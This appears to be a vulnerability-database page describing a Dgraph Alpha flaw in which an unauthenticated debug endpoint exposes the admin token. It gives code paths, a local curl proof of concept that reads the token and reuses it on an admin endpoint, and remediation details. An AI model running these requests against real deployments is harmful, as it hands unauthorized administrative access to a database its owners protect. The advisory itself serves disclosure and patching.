CVE-2026-40173 — Vulnerability in dgraph-io/dgraph/v25 — CVE Details
Dgraph: Unauthenticated /debug/pprof/cmdline discloses admin auth token, enabling unauthorized access to protected Alpha admin endpoints
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.62%). Schedule for your next planned update.
Does your project use an affected github.com/dgraph-io/dgraph/v25 version?
Paste your go.sum to check it for CVE-2026-40173 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
An unauthenticated debug endpoint in Dgraph Alpha exposes the full process command line, including the configured admin token from --security "token=...".
This does not break token validation logic directly; instead, it discloses the credential and enables unauthorized admin-level access by reusing the leaked token in X-Dgraph-AuthToken.
Details
The behavior occurs entirely within core Alpha HTTP routing and does not require any external proxy, plugin, or non-core integration.
The core issue is not that admin token protection is absent, but that the protected secret is exposed in cleartext through an unauthenticated core debug endpoint.
Relevant code paths:
dgraph/cmd/alpha/run.go:17importsnet/http/pprof, which registers/debug/pprof/*handlers on the default mux.dgraph/cmd/alpha/run.go:533useshttp.Handle("/", audit.AuditRequestHttp(baseMux)), so default-mux handlers remain reachable.dgraph/cmd/alpha/admin.go:52enforces admin token checks inadminAuthHandlerfor admin endpoints.dgraph/cmd/alpha/admin.go:74shows/admin/config/cache_mbbehindadminAuthHandler.
Credential-exposure chain:
/debug/pprof/cmdlineis reachable without authentication.- Its output includes the configured admin token from process arguments.
- The disclosed token is accepted by
adminAuthHandlerwhen sent asX-Dgraph-AuthToken. - An attacker gains unauthorized access to admin-only functionality.
Observed local evidence (safe validation):
- Request:
GET /admin/config/cache_mbwithout token- Status: 200 (request rejected at application layer)
- Body contains error:
Invalid X-Dgraph-AuthToken - The endpoint returns HTTP 200 but indicates authentication failure in the response body.
- Request:
GET /debug/pprof/cmdlinewithout token- Status: 200
- Body excerpt includes:
--security=token=TopSecretToken123;
- Request:
GET /admin/config/cache_mbwithX-Dgraph-AuthToken: TopSecretToken123- Status: 200
- Body:
4096
Important policy/triage clarification:
- This issue persists even when the admin-token security feature is enabled: the token itself is exposed via an unauthenticated core debug endpoint, making this more than a misconfiguration-only concern.
- Network restrictions (bind/whitelist/firewall) may reduce exposure, but they do not remediate the underlying credential disclosure behavior.
PoC
- Branch:
main - Commit:
b15c87e93 - Describe:
v25.3.1
Preconditions:
- Alpha HTTP port is reachable by attacker traffic.
- Admin token is configured via supported startup flag:
--security "token=...". /debug/pprof/*is exposed on the same Alpha HTTP listener.- This behavior occurs with documented startup flags and without any non-default or unsupported configuration.
Reproduction steps:
-
Start Zero and Alpha (example local setup):
dgraph zero --my=127.0.0.1:5280 --port_offset=200 --bindall=false --wal=./zwdgraph alpha --my=127.0.0.1:7280 --zero=127.0.0.1:5280 --port_offset=200 --bindall=false --security "token=TopSecretToken123;" --postings=./p --wal=./w --tmp=./t
-
Verify admin endpoint rejects unauthenticated request:
curl -i http://127.0.0.1:8280/admin/config/cache_mb- Expected body includes
Invalid X-Dgraph-AuthToken.
-
Read token from unauthenticated debug endpoint:
curl -s http://127.0.0.1:8280/debug/pprof/cmdline- Expected output includes
--security=token=TopSecretToken123;.
-
Reuse leaked token against admin endpoint:
curl -i -H "X-Dgraph-AuthToken: TopSecretToken123" http://127.0.0.1:8280/admin/config/cache_mb- Expected: successful response (example observed:
4096).
Note: The PoC uses 127.0.0.1 only for safe local validation. The vulnerable condition is unauthenticated reachability of /debug/pprof/cmdline; in any deployment where Alpha HTTP is reachable by untrusted parties, the same token disclosure and subsequent unauthorized admin access apply.
Impact
- Unauthenticated disclosure of a sensitive admin credential via debug endpoint, enabling unauthorized privileged administrative access through token reuse
- Operators running Dgraph Alpha with admin token configured, where Alpha HTTP/debug routes are reachable by untrusted users or networks.
The attack requires network reachability to the Alpha HTTP port. In deployments where this interface is exposed beyond trusted boundaries, the issue is remotely exploitable without authentication.
Depending on exposed admin functionality in deployment policy, this may allow configuration changes, operational control actions, and other privileged administrative operations exposed through /admin/*.
Advisory Timeline
- First published April 16, 2026 (225 days ago).
- Last revised September 10, 2026 — 146 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
go get github.com/dgraph-io/dgraph/v25@v25.3.2
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (3)
Affects 1 ecosystem: Go (3).
| Package | Fixed In |
|---|---|
| github.com/dgraph-io/dgraph/v25 Go · Affected: All versions | 25.3.2 |
| github.com/dgraph-io/dgraph Go · Affected: All versions | Range-based data available |
| github.com/dgraph-io/dgraph/v24 Go · Affected: All versions | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-200Information ExposureMITRE
- CWE-215
- CWE-522
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.4 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
References
Frequently Asked Questions
- What is CVE-2026-40173?
- Dgraph: Unauthenticated /debug/pprof/cmdline discloses admin auth token, enabling unauthorized access to protected Alpha admin endpoints. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.4/10).
- How do I check if my project is affected by CVE-2026-40173?
- CVE-2026-40173 affects github.com/dgraph-io/dgraph/v25, github.com/dgraph-io/dgraph and github.com/dgraph-io/dgraph/v24. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-40173 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 44.1% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-104099CRITICAL
Fabio: Access-control bypass through unnormalized request paths
- CVE-2026-41327CRITICAL
Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in Upsert Condition Field
- CVE-2026-34976CRITICAL
Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization
- CVE-2026-102748CRITICAL
Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service
- CVE-2026-54061CRITICAL
Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import
- CVE-2026-41492CRITICAL
Dgraph: Unauthenticated Admin Token Disclosure Leading to Authentication Bypass via /debug/vars
- CVE-2026-77369CRITICAL
Daptin: Broken Access Control (IDOR) in the generic YJS collaboration endpoint
- CVE-2026-41328CRITICAL
Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field